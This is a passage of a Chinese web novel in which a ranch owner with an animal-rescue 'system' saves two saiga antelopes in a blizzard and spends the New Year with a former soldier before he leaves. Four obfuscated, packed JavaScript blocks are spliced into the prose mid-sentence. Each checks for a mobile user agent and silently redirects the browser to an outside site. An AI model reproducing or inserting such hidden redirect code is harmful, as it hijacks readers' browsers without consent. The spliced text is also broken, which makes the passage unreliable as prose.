师月江觉得不大对，刚想说什么就看到外面几只小动物闹了起来，大头跑得太激烈了一不小心便一脑袋栽进了雪里，其他几个小家伙都扑了上来，也不知道是在救他还是在跟他闹着玩。 就连皮皮也冲了过来，她还用她从姚新泉那里学到的尥蹶子神技不停地用后腿朝他踢雪，马脸上是非常明显的笑意。 师月江见她这样也没忍住笑了一下，刚收回视线便注意到皮皮太用力了，雪□□直从窗户处被砸了进来，掉进了姚新泉面前的油锅里。 姚新泉正盛起一盘子炸蘑菇准备端走，根本没有注意到锅里的情况，就见锅里瞬间便炸开了，师月江第一反应便是将挡在了姚新泉身前，溅起的油星子落在了他背上，师月江没忍住皱了下眉头。 姚新泉发现锅里不对后把他往后拉了一下，先把窗户关上又把煤气灶关上后，赶紧拉着他往外走。 她皱着眉拉着师月江坐在了沙发上，“衣服脱了。” 师月江抿了抿唇没动，姚新泉见状是真的不高兴了，不用她管是吧，“行，那你自己看着办吧！”说完起身就想走，不想师月江一把抓住了她的手腕，“我脱。” 姚新泉嗤笑一声，她觉得还挺可笑的，“别觉得好像我在逼你一样，我没让你挡在我前面，你可以把我拉开的”，师月江本想说自己没反应过来，可看到姚新泉的目光后不知怎么就住了嘴。 他转过身将身上的毛衣脱了下来，又把身上的白色工字背心脱下来放在一边，不大自在地看着姚新泉。 姚新泉的目光落在他的背上，第一时间没有去看那些被烫伤的地方，反而落在了他背上的几道伤疤上，有刀疤也有枪伤。 姚新泉缓缓吐出一口气，把家里自己提前备好的医疗箱翻了出来，“衣服厚，不算特别严重，又伤在背上也不方便去冲水降温，我去洗块儿毛巾给你稍微敷一下，周围消消毒再给你涂点烫伤膏应该就好了。” 想了想还是道，“你明明可以把我拉开的，你怎么跟傻了一样？就非得伤一个人才成是吗？” 见姚新泉没问自己身上的伤师月江反而不大自在，他没回答姚新泉的问题，反倒是问，“你不问我身上是怎么回事？” 姚新泉没说话，要说不好奇是不可能的，但是她早就看出师月江情绪不太对了，自己没有跟他说话，或者莱尼、皮皮他们不在师月江身边的时候，他就好像沉浸在什么情绪中出不来一样，所以她有事儿没事儿拉着师月江说话。一方面是因为人到底是群居动物，还是想与别人交流的，另一方面也是想着有个人跟他说话总比让他自己一个人发呆要强。 两人相处得还挺愉快的，从一开始她也没说要师月江什么东西，她想着两人怎么也算朋友吧？但他刚才算得那么清楚就莫名让她生出一股子火气来。 “我之前是当兵的，后来因为一些事情退伍了，身上的伤就是那时候留下的。刚才不想脱衣服也是怕吓着你。” 姚新泉想说什么到底还是没说出来，只是嗯了一声，给他患处做完降温又涂好药后将东西收了起来，“你先晾一会儿，要是冷的话你坐到锅炉那边去，等药差不多干了再穿衣服。” 师月江又说了什么姚新泉完全没有听见，因为系统突然发布任务，“检测到宿主西北方向3公里处有一只受伤的高鼻羚羊需要救助，宿主是否要救助？”也不知是不是系统怕她不愿意出门，这次破天荒地报了动物是什么。 高鼻羚羊？姚新泉眼中满是震惊，不是已经绝迹了吗？ “系统你确定吗？” “我很确定，我还很确定的这只高鼻羚羊因为受伤身上逐渐失温，宿主若是在四十分钟内不对其进行救治，这只高鼻羚羊会死亡。宿主是否要救助？” 姚新泉缓缓吐出一口气，“要！” “我突然有点事情要出去一趟，你在家里好好待着，油锅里那些东西你要是不会就放着，我大概一个小时左右就能回来！”说完也不等师月江反应她便回了自己屋子，全副武装之后背上自己的包朝师月江那边点了点头便往大门处走去。 师月江有点懵，不是，这么大的雪她干嘛去啊？ 他咬了咬牙，飞速回了自己屋子将衣服都穿好后朝她那边追了过去。 “宿主，你的室友在后面”，系统提醒了一声，姚新泉只是嗯了一声没发表什么意见，反倒是问，“你这段时间没有发布任何救助任务是因为什么？” 系统哼哼两声，“宿主是想冒着大雪出去救助动物然后迷失在风雪中，为了动物保护事业献出生命吗？系统可以发布呢！” 好吧，听到那熟悉的阴阳怪气姚新泉的眼睛弯了弯，“你体谅我，我只有高兴啊！” 系统傲娇地不再说话了，只是在姚新泉走错方向的时候及时提醒她。 哪怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556116|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这段时间师月江的身体已经好了不少，可此时在深度超过自己小腿的大雪中前行还是让他有些吃不消。 他努力调整着自己的呼吸，踩着姚新泉踩过的路往前走，他也不知道姚新泉是要做什么去，可不管做什么他都不能让她一个小姑娘在这种大雪中独自离开。 她离开时已经叮嘱过家里的小动物们，他们倒没有跟出来，否则这么厚的雪，小动物陷在里面还真不一定能被发现！ 师月江突然产生了一种强烈的冲动，他一定要好好把身体养回来，要是从前的自己，不管她想做什么，他都能帮得上忙，可现在，师月江苦笑，他只希望自己不要拖对方的后腿。 不过不管如何，还是那句话，他不能放任她一个小姑娘独自离开！ 感受到身后师月江的艰难，姚新泉也说不清心里是什么感觉，有点酸涩还有点闷闷的。 要说她喜欢对方那倒也没有，只是一种，我把你当朋友，原来你还是跟我那么见外的别扭感。她轻轻摇了摇头，现在不是想这些的时候，还是先去看那只羚羊吧！ “系统，我家牧场这边适合高鼻羚羊生存吗？之前从没有听说过这边会有高鼻羚羊的存在啊？” “系统只能分析准格尔盆地是新疆境内最适合高鼻羚羊生存的地方，那也是曾经高鼻羚羊的栖息地，至于这一只是为什么会出现在你的牧场附近，系统也无法溯源呢！” “跟人类有关系吗？” “呵！”系统冷笑一声，“绝大多数的动物灭绝都跟人类有关系呢！如果不是因为盗猎以及栖息地被破坏，高鼻羚羊也不至于数量稀少甚至是灭绝哦！” 姚新泉不知道怎么解释便不再继续这个话题，继续蒙着头往前走。 “系统，还有多久？” “12分钟，宿主加油哦！” 这个大雪太阻碍行动了，姚新泉费了老大的劲儿终于看到了前方大雪中倒下的那只高鼻羚羊，“幼崽吗？”姚新泉有些发愁，不会还要喝奶吧？如今牧场上没有牲畜产奶，这也不好下山啊！ “被救助动物骨龄已满5个月，高鼻羚羊的哺乳期一般是四个月，不用喝奶。” 姚新泉松了口气，她蹲下身小心打量眼前这只高鼻羚羊，高鼻羚羊浑身最显著的特色就是它那膨大而下垂的鼻子，形状有点儿像短象鼻，鼻孔也是朝下的，它的名字也跟这个鼻子有关。 羚羊的毛色是偏灰的，体型也不大，约莫不到一米，身高也就五六十厘米，估计二十来公斤的样子，不是很重。 “这是雌性吗？好像没长角。” “是雄性，雄性高鼻羚羊一般在六个月大开始长角，一岁左右基本长成，它们的羚羊角就是你们人类杀害它们的原因，入药。” 姚新泉一边从背包中翻出自己带过来的羊毛毯子把高鼻羚羊包裹上一边叹气，“系统啊，你今天不呛我是不能说话吗？我自问就算没有你这个动物救助系统我也从来没有伤害过野生动物吧？就算没有你这个系统我要是能帮我也是会帮的。那我从来没有做过恶事，你又为什么要把那些人的罪恶强加在我身上呢？我既没有买卖，我更没有杀害，甚至我连他们的角是用于做什么的我都不知道，我又凭什么背负这些血债和罪孽呢？就因为我是人类吗？可我不也同样痛恨他们吗？我觉得你这个态度不太对，对我也不公平。” 38. 第 38 章 系统沉默了许久，就在师月江都走到姚新泉身边了之后它才道，“那如果我告诉你，你面前的这只高鼻羚羊是整个新疆唯二的两只之一呢？” 姚新泉闭了闭眼缓缓吐出一口气，“我还是那句话，我会做我应该做的，或者说我能做的，但我不会因为跟那些人都是人类就背负上不属于我的罪恶感。” “不过现在我想问的是，另一只在哪里？” 系统继续沉默，就在姚新泉以为它不会说的时候，系统开口了，“检测到右前方两公里处有一只并未受伤的落单高鼻羚羊，宿主是否愿意暂时收留？系统提示，收留该只高鼻羚羊并无积分奖励。” 姚新泉在师月江的目光中突然笑了，那个笑便是若干年后他还依然记得，像是一道光，一道能让人浑身充满力量的光。 “师月江，给你两个选择，要么带着这只受伤的高鼻羚羊先回家，要么在那棵树旁边挡一挡风，等我回来，你选哪个？” 他毫不迟疑，“我选第二个”，可说完又忍不住问，“可以说说你要去哪儿吗？去做什么吗？” 他是真的很茫然，茫然地跟着姚新泉出来，茫然地看着她放到自己怀里的小动物，茫然地看着她即将离去。 姚新泉的手轻轻放在了高鼻羚羊的头上，“系统，治愈术”，另一只手从口袋里掏出两颗糖来，剥开糖纸后一颗给了自己，一颗给了师月江，指尖触碰到师月江的唇时她突然抬头朝他笑了笑，“不能呢！” 她摸了摸高鼻羚羊的大鼻子，“你在这乖乖等我，我去把你的同伴带回来！” 师月江觉得自己不该信她，神经病啊，虽然没下雪了，但是积雪这么深，在草原上哪怕他学过该怎么在野外辨识方向都快分不清东南西北了。 脸冷，身上冷，脚冷，就好像全身没有一个地方是不冷的。冰箱里虽然冷但好歹没风吧？还不如待在冰箱里呢！ 他觉得他应该转身就走，或者拽着她转身就走，可不知道为什么，脚下就跟扎了根一样站在原地。 他的目光对上怀里苏醒了的高鼻羚羊，也不知道是在跟它说还是在自言自语，“我真的是疯了！” 小家伙出奇地安静，乖乖地躺在他的怀里不动，他注意到了高鼻羚羊的后腿不仅有伤口，骨头好像还有些不正常，他叹了口气，“还好你伤口基本已经止住不流血了，骨头的话回去我帮你正正骨”，说完他有点心虚地移开了目光，知道怎么给人正骨，应该也可以帮动物正骨吧？ 谁知道呢！ 他把小羚羊裹紧抱在怀里，互相取暖。 另一边姚新泉憋着一口气向着系统指明的方向走去，在积雪中行走太难了，不只是距离的问题。将脚从现在的雪坑里拔出来再迈入前方的积雪似乎都要耗费全身的力气，之前那三公里已经让她气喘吁吁了，可不知为什么，姚新泉现在心里就是憋着一股子气，无论如何也要将那只小家伙也带回来！ 也不知过了多久，终于到了目的地，姚新泉放眼望去只看到一片片云杉林，不是她牧场里的那一片，是另外的一片林子。 她家牧场所在的地方最多也最大的一种树木就是云杉，“羊呢？我咋没看到？” “在你右前方那棵最大的云杉树洞里面。” 小家伙还挺聪明！ 姚新泉顺着找了过去，就看到一棵两人合抱都未必能抱的住的大树，姚新泉感叹，“好家伙，这棵树怕是有几百年了吧？” 她也没等系统的回答，小心将树洞门口的雪扒开，就听到一声颤抖着的有点像是牛叫的“哞”声。 姚新泉哪怕没有金手指都能听的出来小家伙的害怕，她停下了手中的动作，忍不住放缓了声音，“小朋友我没有恶意的，我知道你自己在这里没办法度过冬天，我还捡到了你的朋友，它受伤了，在我朋友那里，我准备把它带回家治疗，你也跟着我回家好吗？” 她絮絮叨叨站在树洞外说了半天，反正她是觉得把自己的善意表达的淋漓尽致了，也不知道小家伙是听懂了还是怎么的，竟然自己从树洞里走了出来！ 刚才捡到那只小家伙的时候她心情还挺复杂的，跟系统也争执了几句，所以并没有太去关注高鼻羚羊的长相，此时看到这只小家伙后忍不住有些沉默。 就，就长得还挺有趣哈！ “系统，它就是你说的小家伙吗？是公还是母啊？”虽然没有角，但有了刚才的经验也不好说这小家伙是雄性还是雌性了。不过有一点可以确定，这小家伙应该也没成年。 “嗯，经检测，骨龄五月有余，雌性。” 姚新泉不知道为什么总觉得眼眶酸酸的，她深深吸了一口气，“所以它们俩将来是可以繁殖后代了是吗？高鼻羚羊不会在咱们新疆灭绝了是吗？” 系统没有说话，可不影响姚新泉的好心情。 她一把抱起小家伙用力在她脑袋上亲了一口，“宝贝，走，我带你找你对象去！这婚姻我是包办定了！”说完也不知道哪里来的牛劲儿，那么厚的雪抱着二十多公斤的小家伙就在雪中奔跑了起来。 系统无语，半晌后没忍住也笑了起来。 姚新泉跑了几米就停了下来，不过也没让小家伙自己走，还是把她抱在了怀里，去跟师月江会合。 师月江远远看到她走了过来没忍住起身往她那边走了两步，等看到她怀里抱着的另一只高鼻羚羊后眉头一动，可到底什么也没问。 姚新泉也没什么可怕的，就算他真的出去说自己有特异功能难不成谁会信？小说看多了吧？ 再说了，专门捡动物的特异功能，又不是什么点金术之类的，就算有人有那种坏心思，也未必会动手。谁吃饱了撑的闲的没事儿搞个大冷天让自己跑出去一走就是五六公里的路去救助动物的特异功能啊？ “行了，带着他们俩回吧！你能抱的动吗？不行我这只放到我包里我背着，你那只我来抱？” 师月江黑了脸，“新泉，我是个男人，我还是个退伍军人。” 姚新泉无奈，“你包袱还挺重，那行吧，男人，你抱着走吧？” 师月江被噎了一下，到底也没说什么，他现在各方面都不如姚新泉是肯定的。 不过他也暗下决心，一定要把身体调养好，不能这样下去了！ 两人也算是克服了千难万险终于到家了，到家后姚新泉没理几个玩雪玩疯了，闻到有陌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556117|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生味道就冲过来还把高鼻羚羊都吓得发抖的小傻子，把健康的这只放到客厅地上后，接过师月江手里的那只，师月江小心把羊皮褥子放到地上，姚新泉再把小羚羊放到上面去。 “先回去换个衣服，在外面都冻透了吧？”见师月江脸上跟两坨高原红一样又觉得有点好笑，“你以后出去把脸护好，长的那么好的脸上要是有了冻疮那就可惜了。” 师月江突然觉得屋里温度有点高，他用手背碰了下脸，声音不自觉放低了些，“我先回去换衣服了。” 等他平复好心情再回来的时候就见姚新泉穿了一件深蓝色的卫衣坐在地上，小心给受伤的那只高鼻羚羊的伤口上药。 深蓝色的卫衣衬得她整个人都白得发光，任谁看了她都不会觉得这是一位有着四千亩牧场的女老板。 而且她还不是只张口不动手的那种，粗活累活也没少干，也不知新疆的风这么硬，怎么竟然一点都没有把她吹粗糙了。 “你过来了啊！你帮我去仓库那边找上两块儿小一点的木板过来，我给它做个夹板。” “你还会这？”师月江有点惊讶，兽医她都会？同时又有点遗憾，自己也没能露一手啊！ “这就是最简单的骨折，稍微有点肿胀，骨头没有变形也没有外露，这种的话我们家养了这么多年牲畜，我就算自己没做过也见我爸妈做过的。” 师月江点了点头赶忙去找了两块儿木板回来，把木板擦拭干净后又给表面做了消毒，姚新泉小心地给小羚羊的后腿绑好外固定，又拉着它强调了半天不许二次伤害。 师月江眼带笑意地看着她跟动物说话的模样，不知为何心里软软的。 “这动物叫什么，我从来没见过？” “高鼻羚羊，八九年的时候就已经被列为国家一级保护动物了，数量非常稀少，甚至有可能就只有这两只了”，她轻轻摸了摸两只小家伙。 将种族的兴衰系在它们的身上也不公平，可问题是这不是口头说说，它俩要不生，那高鼻羚羊在国内可就真要灭绝了！ “它们算是羊吗还是羚羊？” 姚新泉也搞不清楚便问系统，“它们是牛科，羚羊亚科。” “牛科？”姚新泉瞪大了眼睛，怪不得呢，她说怎么见着这个小家伙她叫起来有点儿像牛叫呢！ 她赶紧把这个新知识分享给了师月江，见他也惊讶姚新泉这才高兴了，才不是自己知识不够丰富呢！ “我得给它们弄个盆来装一些干草，别弄得到时候满地都是，咱们才大扫除过呢！” 师月江制止了她，“我去找吧，你都够辛苦的了！”她比自己可多走了不少路呢！ “行，你去找一下，我记得家里好像还有之前的洗衣盆，好大一个，我爸妈没舍得扔，不在仓库就在牛圈羊圈里面，你去找一下吧！” 姚新泉刚想喝口水就听系统播报，“本次因救援难度大，特奖励30积分，请宿主再接再厉！” “小金15分！小狼崽15分！莱尼15分！点点1分！再加上今天的30分”，姚新泉眼睛都亮了，“我觉得我现在离我的兽医课特别近！” 心疼最便宜的点点！ 39. 第 39 章 暂时安顿好两只小家伙后姚新泉跟师月江两人又去厨房把该炸的东西都炸完，姚新泉终于松了一口气，“这个油烟味儿闻得我都有点恶心了，你看看想吃什么就吃，我去把那几个小家伙叫进来，给它们炸了一点儿没有调料的萝卜丸子跟肉丸子。” 适当吃一点儿问题不大，她探着头朝厨房窗户那边招呼一声，小家伙们飞快地跑了回来，又老实在回廊下的垫子上把脚蹭干净了，姚新泉把碗给他们放下，“就尝尝味道啊，你们的饭是另外的！” 皮皮一口将萝卜丸子吃到嘴里，嚼了半天也不往下咽，姚新泉就知道了这个兔崽子不喜欢吃炸萝卜丸子。 “师月江，之前你擦丝的时候让你放在一边的萝卜块儿呢？你拿过来一下！” 师月江端了个小碗过来，把几个萝卜块儿放在了皮皮的碗里，这下它不挑了，大眼睛里满满的都是高兴！ “家里那个擦子特别锋利，擦这种最后的一小块容易伤到手，干脆就给它吃吧！” 之后几天姚新泉和师月江两人包了包子、卤了肉，做了豆腐，还熬煮了一大桶豆浆冻在外面，就这样忙忙碌碌到了大年三十。 一大早起来给父母上了香之后两人就操持起了今年的年夜饭，“中午咱们就吃饺子吧，晚上再正儿八经吃，成吗？” 她家习惯是在晚上吃年夜饭，中午基本上都是对付一顿的，师月江自然也没有意见。 把鱼、鲜肉、卤肉等都拿出来化冻又把家里最后一把芹菜拿出来，好歹也算是有个绿色的菜，剩下白菜、萝卜也都收拾出来，就算这东西吃了一个冬天，可当肉吃多的时候还是想吃它们。 “我小的时候爸妈是这边一个国营牧场上的双职工，家里条件按道理讲还挺好的，但是我小姑跟二叔都在上学，所以哪怕是双职工家庭，日子其实也过得紧巴巴的。” “每年我最期待的就是过年了，一方面牧场会给员工发年货，每年都有好几公斤肉，另一方面我爸妈也就过年的时候舍得花钱，会买不少好吃的。过年的时候我除了在饺子跟包子里，从来是不愿意碰大白菜的”，姚新泉笑着夹了一筷子醋溜白菜，“没想到这一桌子肉，我夹得第一筷子竟然是白菜。” 师月江也夹了一筷子，“我们那时候在南方，我在北方出生，习惯了北方的冬天，骤然到了南方不仅仅是身份的落差，整个人浑身哪哪儿都不自在，手上脚上全是冻疮。我记得第一年到广州那边的时候就是冬天去的，那些人瞧不起我们，我哥还被他们在大冷天推到水里了，我哥不会水，所以我当时立马就跳了下去”，说到这里他不好意思地笑了笑，“你不知道我那时候特别偏激，我心里想得是，要是能救那就救，要是救不了我就跟我哥一起死在这里，让那些王八蛋吃不了兜着走！”但是事实上就算他们真的死了，那些人也未必会因为两个被下放的孩子的死而被怎么样。 姚新泉大概猜到他家是什么情况了，“你家曾经被划为资本家了？” 师越江摇头，“没到那个份儿上，我爸妈家里条件确实都不错，我爸家里是开酒楼的，我妈家里是开当铺的。我外公外婆只有这一个闺女，两家人打小就认识，所以顺理成章地走到了一起。” “后来新中国成立进行社会主义改造的时候，我家的酒楼和当铺都是经过了公私合营的，我爸妈他们也都在酒楼和当铺里谋了个工作，每年能拿到定息，但是得不到经营权了。” “因为两家都是比较本分的人家，生意做得不算特别大，人也没什么坏心肠，没有剥削行为，所以也只是城市小资产阶级，不算资本家。” “但后来那些人闹昏了头的时候根本不管那么多，而且那时候哪里都乱，这资本家和城市小资产阶级的边缘也被弱化了，我们家就被当作资本家下放了。” “不过后来拨乱反正的时候我家算是第一批被平反的，家里的东西也都还回来了，不然我后面高考可能都考不成呢！” “那你父母呢？都因为这个被下放过，他们竟然还敢做生意？”姚新泉有些好奇地问道，因了之前的事情，多少人对政策战战兢兢的，生怕哪天又回头清算他们，所以刚改开的那阵多少人谋划着出国，就怕再一次改造到他们头上。 师月江有些无奈地叹气，“他们倒是也想跑，但两人一句英语不会说，也曾想过去香港，可两人也学不会粤语！” 他半是庆幸半是好笑地说，“幸好他们语言能力不强，不然我跟我哥年龄小，那时候还不能做自己的主，他们若是真走，那必然也是要把我们带走的。我跟我哥一个想法，我们就想待在自己国家，在哪儿都没在自己家好！” 姚新泉很是赞同地点头，“以前不过是咱们东方巨龙打了个盹，如今不仅慢慢赶上来了，将来那更是要腾飞的！还是留在自己家好！” 两人相视一笑，姚新泉举起酒杯，“敬祖国！” 师月江轻轻跟她碰了一下，将杯中酒一口干了。 不过她又有点好奇，“你爸你妈真的一句外语都不会吗？感觉你家生意做得还挺大的，以前没想着出去留个学什么的？” 师月江失笑，“我爸之前好多次的庆幸过这个事情，早年我爷爷确实想送他去国外读书，他也坐上了去美国的轮渡，可是当轮渡还没起航的时候，他在甲板上听到一群外国人说英语只觉得头皮发麻，曾经那点儿觉得自己到了美国，有了语言环境肯定就能学好英语的想法瞬间破灭，他什么也不顾了，扭头就下了船，再也没提过出国的事情。” 姚新泉没忍住笑了起来，“不过在那个时期，对你们家来说算是好事了！” “谁说不是呢！”不过当他想到这样一个完全不通英语的人，如今带着翻译跟保镖就满世界到处玩，放浪形骸，又忍不住叹气，不知道说些什么好。 “那你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567238|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢，你退伍之后打算做些什么呢？” 师月江抿了一口酒，神情有些寥落，“其实我也不知道”，不知怎么他突然有了些谈性，“退伍的时候我也算不上万念俱灰吧，只是觉得干什么都没意思，我哥说让我去家里的公司上班，我不想去。他让我去继续读书，我也不想去。他让我看看要不要培养些什么爱好，我也完全没有兴趣。后来还是觉得莱尼被困在我们家那个院子里太可怜了，所以我才带着她出来自驾游，至于将来，我是真没想过”，甚至，没想过有将来。 “我看你年龄也不大，又没有生存压力，慢慢想呗！我觉得你之前不管是进军校还是入伍，那肯定都是为了梦想，你已经追逐过梦想了，已经体验过了自己想象中的生活，剩下的人生里，哪怕你什么都不做其实也无所谓的。” 姚新泉想的很开，也不会因为这就觉得对方不求上进之类的。 求上进？有多少人求上进是求的改变命运的契机？有多少人求上进只是为了改善生活，为了生存？又有多少人是单纯为了理想？ 他师月江就算躺着过完下半辈子他也不缺钱花，已经追逐过理想了，并且为理想付出了许多，这些从他身上的“军功章”上也能看得出来。 至于改变命运？师月江如今的命运还想怎么改变？大富豪不做了，去从政？当大领导？ 他前面的这小半辈子已经足够精彩了，那么后半辈子在姚新泉看来，他绝对有什么都不做，只是快乐的生活的资本。 师月江笑了笑，朝她举了举杯。 两人就这么从过去聊到未来，从经济聊到政治，又聊到身边的八卦轶事。 最开始坐在餐桌上，后来去了沙发上，小动物们就躺在他们俩脚边上，屋里暖烘烘的，只剩下浅浅的呼吸声。 第二天一早师月江一睁开眼就觉得不对，这是谁的头发？不对，这是谁在自己怀里？ 他僵直在那里不敢动，可心却像要从嗓子眼儿里跳出来了。 这是在客厅的地上，昨晚两人聊到很晚，喝了不少酒，也不知怎么着没回房间，就胡乱在客厅地上的羊皮褥子上睡下了。 也不知是怎么回事，他将姚新泉抱在了怀里。 师月江脑袋乱的不行，甚至忘了要把手松开。等感受到怀里的身体动了一下时他更是不敢有任何异动。 他感受到姚新泉将他搭在对方腰上的手臂拿开，对方起身似乎坐在一边看了他许久，师月江不知道该怎么面对她。 两人肯定是什么都没有发生过，这是毋庸置疑的，所谓的喝酒乱性都是狗屁！人那就是为了乱性，喝酒不过是个名头而已！ 只是就算什么也没有发生，也难免觉得冒犯了女方，心里乱糟糟的。 他使出浑身力气控制眼皮不要乱颤，半晌感觉到对方离开了他才缓缓吐出一口气，许久后轻轻睁开眼叹气。 唉！ 40. 第 40 章 姚新泉回屋拿衣服去洗澡，她也有些头疼。 她也不记得两人是怎么抱在一起的了，不过别说没发生什么，就算真发生了什么也只能让这事儿就这样过去。 两人完全是两个世界的人，不管对方是富家子弟的身份还是之前没退伍的时候，两人的生活都没有任何交集。如果不是因为莱尼这个意外，两人这辈子应该都不可能认识。 姚新泉自问她对师月江确实是有好感的，毕竟她喜欢的人差不多就是师月江这样的。 外表干干净净、高高大大，人老实一些，不要油嘴滑舌。 她是大学生，那希望对方跟自己条件差不多，不是瞧不上学历不如自己的，只是有时候就跟家庭条件要门当户对一样，学历或者受教育情况也差不多的两人才能聊到一起去啊！ 一个大学生跟一个文盲也许确实能过到一起去，但是绝大多数人都是有精神追求的，物质生活上满足了，也希望精神世界能有共鸣。 无论在生活中还是未来有了孩子之后，如果两人文化差异过大肯定是有许多矛盾的，姚新泉不认为自己会为了所谓的爱情在这种事情上让步。 另外，她希望另一半也能负担起家里的家务事，大家都在赚钱，凭什么女性在赚钱的同时还要顾全家里呢？ 另外人品性格各方面她都是有自己的想法的，当初其实也遇到了一个还不错的男生，但是因为要离开上海了，姚新泉也就没再想那些，反正两人都没开始过。 师月江确实各方面都符合她的要求，可是那又怎样呢？ 最重要的一点，他不会为了自己留下来的。 而姚新泉也是绝对不会为了对方放弃自己的事业的，因为这两人就不可能有以后。 那天听师月江说要给她买抽油烟机，像是要把这段时间的相处买断一样，她确实很不舒服，可是转念一想也挺好的，反正自己也只是对他有一点好感而已。 再说了，这好感到底是真的因为他这个人而产生，还是说因为在这茫茫大雪中只有他是除自己之外唯一的人，自己没有对比，没有别的选择，每天睁开眼后，闭上眼前看到的都是他，所以才会产生的朦胧好感呢？ 不过这都不重要了，因为他不可能留下来，所以姚新泉也不可能跟他发生些什么，那么今天早晨的事情就也没必要深究下去了。 两人很有默契地没有聊那天的事情，春节过了之后时间转瞬即逝，当雪渐渐有了要融化的意思，姚新泉便主动问他，“虽然可能还比较麻烦，但是我觉得也能下山了，你想下去吗？” 师月江眼神中满是复杂地看了她一眼，可是想到自己确实需要一个独立的空间去想清楚自己到底想要什么，自己对眼前的女孩儿到底是什么情感后还是点了点头。 “好，那我今天收拾东西下山，莱尼的话可能还得在你这边放上一段时间了，等回头我再来接她。” 姚新泉自然没有不愿意的，她还挺喜欢莱尼的，毕竟莱尼是家里最乖的小孩，比两只小高鼻羚羊还要乖。 那俩小家伙里面受伤的那只暂且不提，没受伤的那只简直就是一颗跳跳糖！ 姚新泉两人步行下山，等好不容易走到他的车那边时，小心给车门跟把手那边化了冻后，车还打不着，没办法师月江只能暂且继续把车放在这里，回头让人把车拉去修。 两人一路走到县里，师月江一再庆幸自己这个冬天被姚新泉投喂了许多，否则肯定是在半路上就得趴窝了！ “你看你是去哪？去车站还是？”他们县里没有火车，得坐车去市里坐火车。 见她似乎这么迫不及待地送走自己了，师月江心里又酸酸的。 他没忍住上前一步，“新泉，我确实得回去，但我只是回去想想明白我要什么，我要做什么以及一些别的事情，等我想明白了我就回来”，本想说你能等我吗，我到底张不开嘴。 姚新泉略带诧异地看了他一眼，是她理解错了吗？ 的确，有那么一个瞬间，她也曾以为两人是两情相悦，可后来又觉得不像，可如果不是，他有什么必要跟自己说这些呢？ 姚新泉没忍住还是问了出来，“你上次说要给我买抽油烟机，不就是说想跟我划分清清楚楚吗？” “不是的，你误会了”，他表情焦急想去牵姚新泉的手，可又觉得冒犯，一时间很是无措。 “新泉，我虚长你几岁，可你也看得出来，我不是一个特别会交际也不太会说话的人，甚至我性格也有点闷。那天你是生气了是吗？我没有那个意思，我是感激你，你不仅救了莱尼，还救了我，又收留了我，我没办法不感激。可是别的”，他眼中满是复杂的情绪，“可是别的感情，和感激并不矛盾不是吗？我不是在逃避，我只是想要想清楚，我是男人，我可以轻飘飘地给出承诺给出答案，可这不仅对我自己不负责，对你一样也不负责。所以我希望你能给我一点时间，让我想明白好吗？等我想明白了我一定回来找你！” 他眼中的情绪毫不掩饰，有那么一瞬间姚新泉就想松口说好了，但话到了嘴边还是停了下来，“你先弄清楚自己真实的心意吧！”说完转了话题，“车站往前直走两公里左右，见到政府办公大楼后再往北走一公里差不多就到了，很明显，要是认不出你再问问路吧！” 师月江按下心中的不安，他点了点头，“那我走了，你照顾好自己，等我回来！” 姚新泉只是笑道，“一路顺风。” 等师月江回头的时候就看到姚新泉头也不回地大步离开，他轻叹了口气，下定决心要好好想，要赶紧想明白！ 他是不懂这些，那他去找大哥，大哥肯定明白！ 师星野…… 姚新泉心情还不错，就算两人没走到一起，可知道自己有好感的人也是喜欢自己的还是让人忍不住有点小得意。 她欢快地背着包，把自己提前准备好的一些手续带好就去了县工商局，今天是工作日，不过里面不算繁忙。 姚新泉找了个看着人和善的工作人员问道，“同志你好，我想请问一下，私营牧场想参加霍尔果斯口岸的交流会需要办什么手续？” 工作人员愣了一下上下打量她，“你要参加口岸的边民互市？” 姚新泉觉得不太对，可还是点头，“我家里有个牧场，也有一些牲畜，不过今年更多的是想去涨涨见识，要以我们牧场的名义去的话，就想来问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567239|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问需要办什么手续。” 